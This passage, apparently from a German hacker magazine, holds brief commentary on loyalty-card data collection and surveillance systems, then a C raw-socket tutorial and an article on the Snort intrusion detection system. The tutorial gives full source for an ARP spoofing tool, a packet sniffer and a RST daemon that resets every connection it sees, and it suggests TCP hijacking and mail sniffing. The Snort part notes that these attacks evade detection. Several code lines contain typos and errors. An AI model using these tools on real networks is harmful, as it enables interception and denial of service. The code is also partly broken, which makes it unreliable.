Bei genauerer Betrachtung entpuppt sich das gesamte System als gut verteiltes Datensammelsystem und der Kunde gibt dem jeweiligen Unternehmen das Einverständnis seine Daten weiter zu verwerten. Je nachdem wie viele Payback Systeme ein Mensch verwendet, umso besser lässt sich sein Kaufverhalten u.v.m. analysieren, denn alle Daten werden zentral bei CAP Customer Advantage Program GmbH gesammelt, verknüpft und ausgewertet. Wer sich jetzt noch wundert woher z.B. die eigene Krankenkasse wissen könnte, dass man Raucher ist und dadurch den Beitragssatz erhöht, dem kann ich auch nicht mehr helfen.

Mehr Informationen zu Payback gibt es im folgenden Datenschleuder Artikel: Happy Volksverarschung

Gesichtserkennung: Software, die das Gesicht eines Menschen erfasst und es mit den Gesichtern von Verbrechern in einer Datenbank vergleicht. Dieses System ist bei Testverfahren innerhalb des Chaos Computer Clubs als nicht funktionstüchtig entlarvt worden, wird aber dennoch eingesetzt, was zu einigen Fehlalarmmeldungen führen wird.

Nummernschilderkennung: Software, die das Nummernschild eines Fahrzeugs erfasst und entweder nur speichert oder mit einer Datenbank von gestohlenen Fahrzeugen o.ä. vergleicht. Dieses System funktioniert nach Aussagen der Hersteller sehr gut und arbeitet selbst bei Nebel und stark verdreckten Nummernschildern zuverlässig.

Anomalieerkennung: Einer Software wird einmal beigebracht wie "normales" Verhalten im überwachten Gebiet aussieht. Abweichende Verhalten werden erfasst, gespeichert und lösen Alarm aus. Was als "normales" Verhalten akzeptiert wird, liegt im Auge des Überwachers. Zu diesem System sind momentan noch keine Aussagen zur Zuverlässigkeit bekannt geworden.

Bewegungserkennung: Dies stellt eine Weiterentwicklung der Gesichtserkennungstechnologie dar. Ein Lebewesen wird nicht anhand von körperlichen Merkmalen wie Gesicht, Iris oder Fingerabdruck identifiziert, sondern an der Art seiner Bewegungen. So kann man ein Lebewesen selbst noch identifizieren, wenn es sich komplett in eine Verkleidung verhüllt hat, was selbstredend gegen das Vermummungsgesetz in Deutschland verstossen würde. Zu diesem System sind zur Zeit noch keine Aussagen zur Zuverlässigkeit bekannt geworden.

Raw Socket Programmierung in C

(balle)

Mit Raw Sockets kann man Netzwerkpakete mit all ihren Headeroptionen erstellen, ohne dass einem der Kernel dazwischen funkt oder aber auch Netzwerkpakete sniffen. Ok warum sollte man sich heute noch mit Raw Sockets beschäftigen wo es doch Libnet gibt? Vielleicht möchtest Du Pakete konstruieren ohne eine zusätzliche Library zu verwenden? Oder Du willst einfach Deinen Wissensdurst stillen und verstehen
wie es funktioniert? Oder Du willst den Netzwerkverkehr sniffen ohne die Pcap Library zu benutzen? Ich weiss es nicht... Aber wenn Du wissen willst wie Raw Socket Programmierung unter Linux funktioniert, lies einfach weiter! Vielleicht fragst Du Dich auch warum zum Teufel schreibt der Typ im Jahre 2003 nen Tutorial über Raw Socket Programmierung wo doch das Phrack Magazin schon seid mindestens 1996 Artikel über Raw Socket Programmierung enthält? Ganz einfach! Als ich angefangen habe mich mit Raw Socket Programmierung zu beschäftigen, musste ich mir immer noch viel zu viele Informationen zusammen suchen, so dass ich mir gedacht habe, dass ich mal alles zusammen tippsel was man meiner Meinung nach so braucht.

Für diesen Artikel solltest Du mindestens Grundkenntnisse in den folgenden Themen haben:

  • Aufbau von Netzwerken / Protokollen
  • ISO / OSI Schichten Modell
  • Socket Programmierung in C

Ich stelle hier vor wie man unter Linux TCP/IP und ARP Pakete erstellt, Pakete aus einem Raw Socket liest und dekodiert und werde zum Abschluß beide Techniken vereinen, um einen simplen RST Daemon zu programmieren. Das erstellen von UDP oder ICMP (also auf IP basierende Protokolle) läuft analog zu der Erstellung eines TCP Packets ab. Man muss nur wissen wie die Header bzw. die Strutkuren der Protokolle aufgebaut sind und das erfährt man entweder aus den Header Dateien unter /usr/include/netinet/ oder über die Man Page zu dem jeweiligen Protokoll.

Es gibt unter Linux zwei verschiedene Arten von Raw Sockets:

  • SOCK_PACKET
  • SOCK_RAW

SOCK_PACKET muss man verwenden, wenn man auf Layer 2 (Data Link) arbeiten will wie z.B. auf der Ethernet (ARP) Ebene.

SOCK_RAW benutzt man, wenn man auf IPv4 aufbauen will.

Einen Raw Socket erstellt man folgendermaßen (wobei IPPROTO_* durch das jeweilige IP Protokoll ersetzt werden muss wie beispielsweise IPPROTO_TCP):

rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_*);

Raw Sockets darf man übrigens nur als root erstellen!

Wenn man die Header selber setzen möchte, muss man dies dem Kernel mitteilen (one ist einfach ein Integer mit dem Wert 1):

setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one);

Für mehr Informationen siehe:

  • man 2 socket
  • man 2 setsockopt
  • man 7 raw
  • man 7 ip
  • man 7 tcp
  • man 7 udp
  • man 7 icmp
  • man 7 arp

Ok. Jetzt wird wieder in die Hände gespuckt, nen Bier oder ne Jolt gegrapscht und los geht's!

Es folgt Beispiel Code zur Erstellung eines TCP / IP Pakets. Vielleicht noch vorher ein paar warme Worte zu üblichen Stolperfallen:

  • Der Code erstellt einen Packet Buffer auf den über Pointer die verschiedenen Header angesteuert werden (ip und tcp)
  • ip->ihl = 5; darfst Du nie vergessen, weil ansonsten ist das Packet auf jeden Fall ungültig (tcpdump zeigt bad-hlen 0)
  • Wenn man die Checksumme auf 0 setzt, wird sie vom Kernel berechnet

Ansonsten sollte alles durch die Kommentare im Source Coder erklärt werden. Bitte beachte, dass als Socket Typ SOCK_RAW eingesetzt wird, weil wir auf dem IP Protokoll aufbauen wollen!

// Includes
#include <stdio.h>         // Standard I/O Funktionen wie printf()
#include <stdlib.h>        // Standard Funktionen wie exit() und malloc()
#include <string.h>        // String und Memory Funktionen wie strcmp() und memset()
#include <unistd.h>        // System Calls wie open(), read() und write()
#include <errno.h>         // Detailliertere Fehlermeldungen
#include <sys/socket.h>    // Socket Funktionen wie socket(), bind() und listen()
#include <arpa/inet.h>     // Funktionen wie inet_addr()
#include <netinet/in.h>    // IP Protokolle, sockaddr_in Struktur und Funktionen wie htons()
#include <netinet/ip.h>    // IP Header Struktur
#include <netinet/tcp.h>   // TCP Header Struktur


// Main part
int main(void)
{
  int rawsock, uid;
  struct sockaddr_in addr;
  unsigned int packetsize = sizeof(struct iphdr) + sizeof(struct tcphdr);
  unsigned char packet[packetsize];
  struct iphdr *ip = (struct iphdr *)packet;
  struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
  int one = 1;

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Packet Buffer initialisieren
  memset(packet,0,packetsize);

  // Erstelle einen IP RAW Socket Deskriptor
  if( (rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1 ) { perror("socket"); exit(1); }

  // IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht
  // in den Headern rum fummelt
  if( setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }

  // IP Header zusammen basteln
  ip->version = 4;                        // IP Version
  ip->ihl = 5;                            // Internet Header Length
  ip->id = htonl(random());               // IP ID
  ip->saddr = inet_addr("127.0.0.1");     // Source IP
  ip->daddr = inet_addr("127.0.0.1");     // Destination IP
  ip->ttl = 123;                          // Time to live
  ip->protocol = IPPROTO_TCP;             // Transport Protokoll TCP (6)
  ip->tot_len = packetsize;               // Groesse des IP Pakets
  ip->check = 0;                          // IP Checksum (Wenn die Checksumme 0 ist, wird sie 
                                          // vom Kernel berechnet)

  // TCP Header zusammen basteln
  tcp->source = htons(1234);              // Source Port
  tcp->dest = htons(23);                  // Destination Port
  tcp->seq = htonl(1000000000);           // Sequence number
  tcp->ack_seq = htonl(1000000000);       // Acknowledgement number
  tcp->ack = 1;                           // TCP Flags
  tcp->syn = 1;
  tcp->window = htons(1024);              // Window size
  tcp->check = 0;                         // TCP Checksum

  // Schicke das Paket auf die Reise  
  addr.sin_family = AF_INET;
  addr.sin_port = tcp->source;
  addr.sin_addr.s_addr = ip->saddr;

  if( (sendto(rawsock,packet,packetsize,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_in))) == -1 )
    {
      perror("send");
      exit(1);
    }


// Raw Socket Deskriptor schliessen
close(rawsock);
  return 0;
}

Als nächstes erstelle ich ein ARP Reply Packet, um ein simples ARP Spoof Programm zu implementieren.

Weil das Paket auf dem Ethernet Layer aufbauen soll, muss der Socket Typ SOCK_PACKET verwendet werden!

Eine miese Stolperfalle über die ich gefallen bin, ist, dass ich vergessen habe im Ethernet Header den Pakettyp anzugeben: ethhdr->ether_type = htons(ETHERTYPE_ARP);

Außerdem hab ich am Anfang immer /usr/include/net/arp.h included, aber bei mir (Debian Woody) ist die halbe ARP Header Struktur auskommentiert. Deswegen hab ich sie mit im Source Code stehen.

// Includes
#include <stdio.h>           // Standard I/O Funktionen wie printf()
#include <stdlib.h>          // Standard Funktionen wie exit() und malloc()
#include <string.h>          // String und Memory Funktionen wie strcmp() und memset()
#include <getopt.h>          // Parsing Parameter
#include <errno.h>           // Detailliertere Fehlermeldungen
#include <sys/socket.h>      // Socket Funktionen wie socket(), bind() und listen()
#include <net/ethernet.h>    // Ethernet Header Struktur
#include <arpa/inet.h>       // in_addr Struktur

#define ARPOP_REPLY 2
#define ARPHDR_ETHER 1
#define ETH_ALEN 6

// ARP Header Struktur
struct arphdr {
   u_short hw_type;           // hardware type
   u_short proto_type;        // protocol type
   char ha_len;               // hardware address len
   char pa_len;               // protocol address len
   u_short opcode;            // arp opcode
   u_char source_add[6];      // source mac
   char source_ip[4];         // source ip
   u_char dest_add[6];        // dest mac
   char dest_ip[4];           // dest ip
};

void usage(void);

// Main part
int main(int argc, char *argv[])
{
  int sock, uid;
  struct sockaddr addr;
  char c;
  char *opts = "d:i:m:s:t:";
  unsigned int packetsize = sizeof(struct arphdr) + sizeof(struct ether_header);
  unsigned char packet[packetsize];
  struct ether_header *ethhdr = (struct ether_header *)packet;
  struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));
  char smac[18], dmac[18];
  char sip[18], dip[18];
  char dev[6];

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Parameter verarbeiten
  if(argc < 6) { usage(); }

  while( (c = getopt(argc,argv,opts)) != -1)
    {
      switch(c)
	{
	case 'd':
	  strncpy(dip,optarg,18);
	  break;

	case 'i':
	  strncpy(dev,optarg,6);
	  break;

	case 'm':
	  strncpy(smac,optarg,18);
	  break;

	case 's':
	  strncpy(sip,optarg,18);
	  break;

	case 't':
	  strncpy(dmac,optarg,18);
	  break;

        defaults:
	  usage();
	}
    }

  // Packet Buffer initialisieren
  memset(packet,0,packetsize);

  // Erstelle einen Socket Deskriptor
  if( ( sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP))) == -1 ) { perror("socket"); exit(1); }

  // Ethernet Header Optionen
  memcpy(ethhdr->ether_dhost,(u_char *)ether_aton(dmac),ETHER_ADDR_LEN); // Destination MAC
  memcpy(ethhdr->ether_shost,(u_char *)ether_aton(smac),ETHER_ADDR_LEN); // Source MAC
  ethhdr->ether_type = htons(ETHERTYPE_ARP);       // ARP Protokoll

  // ARP Header Optionen
  arp->hw_type = htons(ARPHDR_ETHER);                    // Hardware Address Typ
  arp->proto_type = htons(ETH_P_IP);                     // Protokoll Address Typ
  arp->ha_len = 6;                                       // Hardware Address Laenge
  arp->pa_len = 4;                                       // Protokoll Address Laenge
  arp->opcode = htons(ARPOP_REPLY);                      // ARP OP Typ
  memcpy(arp->source_add,ether_aton(smac),ETH_ALEN);     // Sender MAC
  *(u_long *)arp->source_ip = inet_addr(sip);            // Source IP
  memcpy(arp->dest_add,ether_aton(dmac),ETH_ALEN);       // Target MAC
  *(u_long *)arp->dest_ip = inet_addr(dip);              // Target IP

  // Schicke das Paket auf die Reise  
  strncpy(addr.sa_data,dev,sizeof(addr.sa_data));

  printf("Sending ARP packet\n");
  if( (sendto(sock,packet,packetsize,0,&addr,sizeof(struct sockaddr))) == -1 )
    {
      perror("send");
      exit(1);
    }

  return 0;
}


void usage(void)
{
  printf("Usage: arpspoof -i <dev> -m <source_mac> -s <source_ip> -t <dest_mac> -d <dest_ip>\n");
  exit(0);
}

Nach dem ganzen aktiven Konstruieren von Netzwerkpaketen, möchte ich jetzt zeigen wie man mit einem Raw Socket passiv Pakete sniffed.

Als Socket Typ wird wieder SOCK_PACKET gewählt, weil wir ja das ganze Paket einlesen also auch den Link Layer.

Wenn Du wie ich den Fehler machst und versuchst mit SOCK_RAW zu sniffen, siehst Du zwar auch Pakete hin und her fliegen, aber wirst Dich beim dekodieren wundern, warum Du unsinnige Werte erhälst.

Der Code enthält noch einen kleinen Bug. Bei mir (Debian Woody mit Kernel 2.4.20) kommt es manchmal vor, dass der Destination Port 0 ist, warum weiß ich allerdings leider auch nicht. Das führt allerdings beim nächtens Beispiel, dem RST Daemon, zu einem ungewollten Programmende...

// Includes
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

// Main Part
int main(void)
{
  int sock, uid;
  int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
  char packet[packetsize];
  struct ether_header *eth = (struct ether_header *) packet;
  struct iphdr *ip = (struct iphdr  *) (packet + sizeof(struct ether_header));
  struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Raw Socket oeffnen
  if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }

  // Lese Pakete aus dem Raw Socket und dumpe es
  while(1)
    {
      read(sock,packet,packetsize);
      printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest),ntohl(tcp->seq), ntohl(tcp->ack_seq));
    }

  return 0;
}

Last but not least schmeissen wir die erlernten Techniken in einen großen Topf, rühren kräftig um und erstellen einen RST Daemon, der Pakete aus einem Raw Socket ausliest und ein RST Paket erstellt, welches das gelesenen Paket resettet.

Dazu wird ein Paket erstellt, was von der Ziel-IP / -Port kommt, die erwartete Sequence Nummer (Acknowledgement Nummer des zu resettenden Packets) und das RST Flag enthät.

Mehr zum Thema TCP Hijacking und RST Daemons findest Du z.B. unter:

Hier der Source Code des RST Daemons:

// Includes
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

// Main Part
int main(void)
{
  int r_sock,w_sock, uid;
  int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
  char packet[packetsize];
  struct ether_header *eth = (struct ether_header *) packet;
  struct iphdr *ip = (struct iphdr  *) (packet + sizeof(struct ether_header));
  struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));
  unsigned char rstpacket[sizeof(struct iphdr) + sizeof(struct tcphdr)];
  struct iphdr *rst_ip = (struct iphdr *)rstpacket;
  struct tcphdr *rst_tcp = (struct tcphdr *)rstpacket;
  struct sockaddr_in addr;
  int one = 1;

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Raw Socket zum lesen oeffnen
  if( (r_sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }

  // Raw Socket zum senden
  if( (w_sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { perror("socket"); exit(1); }

  // IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht
  // in den Headern rum fummelt
  if( setsockopt(w_sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }

  // Lese Pakete aus dem Raw Socket und resette sie
  while(1)
    {
      read(r_sock,packet,packetsize);
      printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest), ntohl(tcp->seq), ntohl(tcp->ack_seq));

      // IP Header fuer RST Paket zusammen basteln
      rst_ip->version = 4;                        // IP Version
      rst_ip->ihl = 5;                            // Internet Header Length
      rst_ip->id = htonl(random());               // IP ID
      rst_ip->saddr = ip->daddr;                  // Source IP
      rst_ip->daddr = ip->saddr;                  // Destination IP
      rst_ip->ttl = 123;                          // Time to live
      rst_ip->protocol = IPPROTO_TCP;             // Transport Protokoll TCP (6)
      rst_ip->tot_len = packetsize;               // Groesse des IP Pakets
      rst_ip->check = 0;                          // IP Checksum (Wenn die Checksumme 0 ist, wird sie 
                                                  // vom Kernel berechnet)

      // TCP Header fuer RST Paket zusammen basteln
      rst_tcp->source = htons(tcp->dest);         // Source Port
      rst_tcp->dest = htons(tcp->source);         // Destination Port
      rst_tcp->seq = htonl(tcp->ack_seq);         // Sequence number
      rst_tcp->ack_seq = htonl(tcp->ack_seq);     // Acknowledgement number
      rst_tcp->rst = 1;                           // RST Flag setzen
      rst_tcp->window = htons(2323);              // Window size
      rst_tcp->check = 0;                         // TCP Checksum

      // Schicke das Paket auf die Reise  
      addr.sin_family = AF_INET;
      addr.sin_port = rst_tcp->source;
      addr.sin_addr.s_addr = rst_ip->saddr;

      if( (sendto(w_sock,rstpacket,sizeof(struct iphdr) + sizeof(struct tcphdr),0,(struct sockaddr*)&addr,sizeof(struct ckaddr_in))) == -1 )
	{
	  perror("send");
	  exit(1);
	}
    }

  return 0;
}

Was kannst Du jetzt mit dem Wissen anstellen?

Nun Du kannst neben einem RST Daemon auch einen Connection Hijacking Programm schreiben, welches eine Verbindung eines Plain Protokolls wie z.B. Telnet hijackt oder aber ein Sniffer Programm coden, dass z.B. Mails über die Protokolle SMTP, POP3 und IMAP abfängt. Das alles darfst Du natürlich nur unter legalen Bedingungen verwenden!

Im Endeffekt kannst Du mit diesem Wissen jedes beliebige Netzwerkprogramm schreiben, was Du willst. Für ein paar Anregungen kannst Du ja mal beim P.A.T.H. Projekt vorbei schaun.

Advanced Snorting

(balle)

Snort ist ein Network Intrusion Detection System und wurde ursprünglich von Marty Roesch entwickelt. Wie das aber bei größeren Open Source Projekten so üblich ist, wird Snort mittlerweile von einer größeren Entwicklergemeinde gepflegt und weiter entwickelt. Firmen wie Silicon Defense (SnortSnarf) oder das CERT Institut (ACID) sind wohl die besten Beispiele. Die aktuellen Sourcen gibt es unter http://www.snort.org. Dieser Artikel über Snort soll nicht erklären wie man Snort an sich configuriert. Die Configdatei selbst gibt einem schon viele Information und zu diesem Thema findet man auch genügend gute Resourcen im Netz, ein paar davon findet man in den Referenzen am Ende dieses Artikels. Der Artikel soll einem viel mehr die Tools um Snort herum näher bringen (z.B. wie man Attacken, die Snort entdeckt hat automatisch abwehren kann), was Snort kann und was nicht, einen groben Überblick über den Aufbau von Snort bieten und erklären wie man Snort durch eigene Regelwerke erweitern kann und wo man das IDS plazieren sollte oder wie man Statistiken über die Angriffe erstellen kann.

Snort schaltet das Netzwerk Interface in den Promisc Modus und bedient sich der berühmten libpcap Bibliothek, um die vorbei fliegenden Packete zu sniffen. Die abgefangenen Packete werden dann einmal über Plugins disassembled (Einstellungssache) und der Payload mit einer Vielzahl von verschiedensten Rulesets verglichen. Die Rulesets bestehen aus Packetbeschreibung, wie sie bei bestimmten Angriffen auftreten. Das heisst aber nicht, daß Snort nur bekannte Angriffe auf Protokolle und Exploits erkennen kann.

Snort spürt genauso "illegale" Packete auf wie z.B. ein TCP Packet mit einer TTL von 0 oder Port 0, bemerkt DOS / DDOS Attacken oder unnormalen Netzwerkverkehr (Plugin Spade).

Desweiteren kann Snort über viele Plugins erweitert werden. Diese Plugins können z.B. Portscans entdecken, den Code einer Telnet Session analysieren, Unicode codierten Payload decodieren oder CGI NULL Byte Attacken aufspüren. Die Möglichkeiten sind vielfältig!

Diese Plugins sorgen auch dafür, daß der Payload für Packete von und / oder zu bestimmten Ports auf einem bestimmten Layer disassembled und analysiert werden können.

Diese gefundenen bösen Packete kann Snort auf die unterschiedlichsten Wege loggen und an den Mann / Admin bringen: XML, Datenbank, tcpdump Format, Snort Binary Format oder traditionell über Syslog.

Das sollten erstmal genug Informationen über die Arbeitsweise von Snort sein. Wie gesagt ich werde hier nicht auf die Configuration von Snort eingehen und setze ab diesem Zeitpunkt voraus, dass Du ein mehr oder weniger gut configuriertes Snort IDS vor der Nase hast!

Und als letzte Anmerkung: Der Artikel beschäftigt sich mit Snort unter Linux. Ich weiß, dass es Snort auch für Win32 Systeme gibt, aber ich habe bisher keinen besonderen Sinn darin gesehen mich damit zu beschäftigen und kann deswegen auch nicht dafür garantieren, dass die behandelten Zusatztools alle unter Windows laufen! Für Windows Benutzer gibt es aber ein schönes GUI (ids_center) für die Configuration von Snort.

Wo darf ich das Schwein denn parken? =) Natürlich ist es auch entscheident in welcher Stelle des Netzwerks Snort eingebunden wird, denn es versteht sich glaube ich von selbst, dass das beste NIDS nichts bringt, wenn man sich an ihm vorbei mogeln kann. Deshalb ist es eine gute Idee das NIDS System direkt auf dem Gateway laufen zu lassen, voraus gesetzt es gibt keine weitere Verbindung zum Internet bzw. zu einem anderen unsicheren Netz.

Dadurch kann man auch einige Angriffe von intern erkennen, wenn z.B. der firmeneigene Mailserver gehackt wird, um die Mails von anderen Mitarbeiter zu lesen.

[Internes Netz]-->[Gateway + Snort]-->[ DMZ ]<---[Firewall]<--[Internet]

Nehmen wir mal an das Netzwerk sieht folgendermaßen aus und in der DMZ stehen Webserver, die vom Internet aus durch eine weitere Firewall geschützt werden. Dann sollte die Firewall natürlich auch ein Intrusion Detection System enthalten, weil sie ja der einzige Weg in die DMZ und das dahinter liegende interne Netz ist. Die meisten kommerziellen Firewall System bieten das mittlerweile auch an.

Es ist auch nicht verkehrt in der DMZ selber ein weiteres NIDS zu installieren, um Angriffe und Anormalitäten zwischen den Webservern zu erkennen oder aber IIS und Apache Webserver getrennt zu überwachen. Man kann das IDS der Firewall auch so einstellen, daß es nicht die Ports 80 und 443 überwacht und diese Arbeit dem NIDS in der DMZ überläßt, weil vom Internet zu viel Traffic kommt.

Genauso kann man Snort zwischen zwei Abteilungen im internen Netz schalten, um z.B. einen Angriff eines Programmierers auf die Datenbank der Personalabteilung zu erkennen und abzuwehren, damit der nicht seinen Gehaltseintrag verbessert oder so... =)

Je nachdem wo Snort so rum steht, scannt man natürlich auch andere Packete und läßt andere Sachen unkontrolliert passieren, was sich sehr positiv auf die Performance auswirken kann. Obwohl Snort ist so oder so verdammt schnell unterwegs, man bemerkt es eigentlich gar nicht, nur wenn der Traffic massiv hoch ist, kann es sich eventuell störend auswirken. Weiterführende Literatur gibt es hier.

Es ist ja schön und gut, daß Snort mir sagen kann wie und wann ein Angriff auf mein Netzwerk statt gefunden hat, es kann mir allerdings nicht sagen ob der Angriff erfolgreich war oder nicht und wäre es nicht auch viel schöner wenn man den erkannten Angriff gleich verhindern könnte??

Man kann, also sollte man es auch machen!

Dazu bedienen wir uns dem Perl Script Guardian (liegt dem Snort Packet bei, ansonsten gibt es eine aktuellere Version auf www.snort.org). Guardian macht nichts anderes als die Logdatei von Snort nach Attacken zu durchsuchen und die IP des Angreifers über ipchains oder IPtables zu sperren. Dabei kann man Guardian auch ein Timeout für die Sperre mitteilen und eine Ignore Liste anlegen, damit nicht die eigenen Rechner gesperrt werden oder der Nameserver, der gerne für False Alarms sorgen soll (laut Guardian Dokumentation, stimmt nicht unebdingt mit meinen Erfahrungen überein). Die Configuration von Guardian ist total simpel und wird auch in der Dokumentation sehr gut beschrieben, deswegen werde ich hier auch darauf nicht weiter eingehen.

Zu erwähnen ist allerdings noch, dass man sein IDS schon gut configuriert haben sollte, also mit so wenig false alarms wie nur irgend möglich, weil man ansosnten ungewollt auch unschuldige Maschinen blockt. Guardian loggt natürlich auch wann er wen und warum gesperrt hat.

Snort loggt unter Umständen viele Attacken auf dem Rechner. Diese Flut an Informationen will man natürlich auch so gut wie möglich verarbeiten. Dazu gibt es die unterschiedlichsten Programme.

SnortSnarf kann über ein CGI Programm die Logdaten in HTML präsentieren und auch schon ein paar statistische Daten liefern wie z.B. eine Top 20 der Source bzw. Destination IPs mit den meisten Angriffen. Man bekommt eine Zusammenfassung aller Angriffsarten und kann sich die betroffenen IPs und sonstigen Daten schön aufbereitet anschauen.

Ich habe auch selbst mal ein kleines Perl Script geschrieben, daß einfach nur hin geht und die Snort Logdatei nach neuen interessanten Einträgen durchforstet und sie an einen oder mehrere Admins per Mail schickt. Interessant heisst in diesem Zusammenhang man bekommt alle Logdaten zu geschickt, von denen das Tool nicht weiss, dass sie einen nicht interessieren. Das Script findet man hier.

Man kann allerdings auch die Logdaten in eine Datenbank wie z.B. MySQL oder Postgesql schreiben lassen, um sie nachher für Statistiken zu gebrauchen... Dazu muss man in der snort.conf nur das Datenbank Plugin einschalten und mit Parametern versorgen:

output database: log, mysql, user=snort password=snort dbname=snort host=localhost detail=full encoding=ascii

Dieser Eintrag würde die Logs in eine MySQL schreiben. Die Packetinformationen sollen detailliert also auch mit dem enthaltenen Payload in ASCII geloggt werden.

Dadurch kann man vielleicht selbst noch ein paar neue Angriffstechnicken erlernen, während man im Hintergrund die Packete droppt... =)

Die Beschreibung zu dem Datenbankschema gibt es hier.

Wenn man seine Logdaten nicht in eine Datenbank schreibt, kann man das Perl Script snort_stat.pl verwenden, um Statistiken von seinen Logs zu erstellen. Das Programm zeigt einem an welche Attacken am meisten auf den Rechner / das Netzwerk nieder prasseln oder von welchem Adressraum die meisten Attacken gestartet werden.

Desweiteren kann man fest stellen wie viele Attacken insgesamt auf das Netzwerk gefahren wurden und welcher der Rechner am meisten angegriffen wurden. Wenn man über logrotate seine Logfiles täglich rotiert, dann kann man auch ganz leicht heraus finden an welchen Wochentagen man am meisten angegriffen wird.

Wenn man das Spade Plugin verwendet, dann kann man auch sehen zwischen welchen Rechnern die meisten merkwürdigen (unnormalen) Pakete hin und her geschickt wurden.

Schreibt man seine Logdaten dagegen in eine Datenbank und hat einen Apache mit PHP Unterstützung zur Verfügung, dann kann man auch das excellente Programm ACID (Analysis Console for Incident Databases) vom CERT Institut verwenden. Mit ACID kann man sich Statistiken darüber erstellen, in welchen Stunden, an welchen Tagen bzw. Monaten / Jahren die meisten Angriffe statt gefunden haben. Natürlich auch welches die meisten Angriffe waren und von welchen Adressbereichen.

Das Ergebnis kann grafisch aufbereitet werden. Man kann sich auch anzeigen lassen über welche Protokolle die meisten Attacken gefahren wurden oder was die letzten 5 Angriffe oder die Angriffe in den letzen 24 Stunden waren. Fast schon selbst verständlich kann man sich auch Select Statements zusammen klicken, um Angriffe mit bestimmten Kriterien zu suchen.

Die Ergebnisse kann man sich auch per Mail zu schicken und es gibt die Möglichkeit Angriffe zu Alert Groups zusammen zu fassen. Mit letzerem hab ich aber noch nicht rum gespielt...

Auf der Homepage von ACID (http://acidlab.sourceforge.net) wird auch auf ein weiteres Tool hingewiesen: logsnorter. Dieses Perl Script läuft im Hintergrund und schreibt alle über die Firewall (IPtables, ipchains, ipfwadm...) gedroppten Packete in die Snort Datenbank, damit man sich mit ACID ein noch besseres Bild über die wirklich auf den Rechner / das Netzwerk niederprasselnden Angriffe machen kann.

Zum Schluss noch schnell ne kleine Warnung: Wenn Du auf Snort 1.8.6 updatest, dann musst Du unbedingt auch ACID updaten, weil sich das Datenbankschema anscheinend leicht geändert hat. Um genau zu sein "nur" die Tabelle iphdr, die alle IP Header Informationen beinhaltet. Zumindest will meine ACID Version 0.9.6b11 immer auf Spalten wie ip_src0 zu greifen und die gibt es nicht... Fazit: ACID ist genial!!! Du solltest es auf jeden Fall ausprobieren, weil wenn Du es einmal gesehen hast, dann kommst Du schon von alleine drauf, dass Du es nicht mehr missen möchtest... ;)

Vor und während des CCC Easterhegg Congresses hab ich mal Snort einfach so laufen lassen, während ich meine TCP Hijacking Angriffe ausprobiert habe und ich musste zu meinem Entsetzen fest stellen, dass Snort nichts mit bekommt, wenn man sich nicht völlig blöd anstellt.

Voll blöd wäre in diesem Fall ein generiertes TCP Packet mit TTL 0 oder einem bestimmten Windowsize Wert, den Snort dann als einen bestimmten Angriff eines Tools erkennt, weil dieses Tools halt die Eigenschaft hat, Packete mit genau dieser Windowsize zu generieren.

Ein RST Daemon bleibt allerdings völlig unentdeckt. Ich habe auch ein wenig mit dem SPADE Plugin rum gespielt und das konnte diese Situation leider nicht verbessern, obwohl es garantiert unnnormal ist, wenn man von einem Server zuerst ein (gespooftes) RST Packet zurück bekommt und danach ein ACK oder SYN/ACK Paket.

Last but not least ist der ARP Spoof Preprocessor (von Snort 1.8.3) völliger Schrott, weil er hat noch nicht einmal gepeilt, dass ich mit hunt jede Sekunde einen ARP Poisoning Attack abfeuer! Geschweige denn etwas von weniger auffallenderen Attacken mitbekommen. Sollte ich mit dieser Behauptung falsch liegen, korrigier mich bitte und sag mir wie Du den ARP Preprocessor configuriert hast!

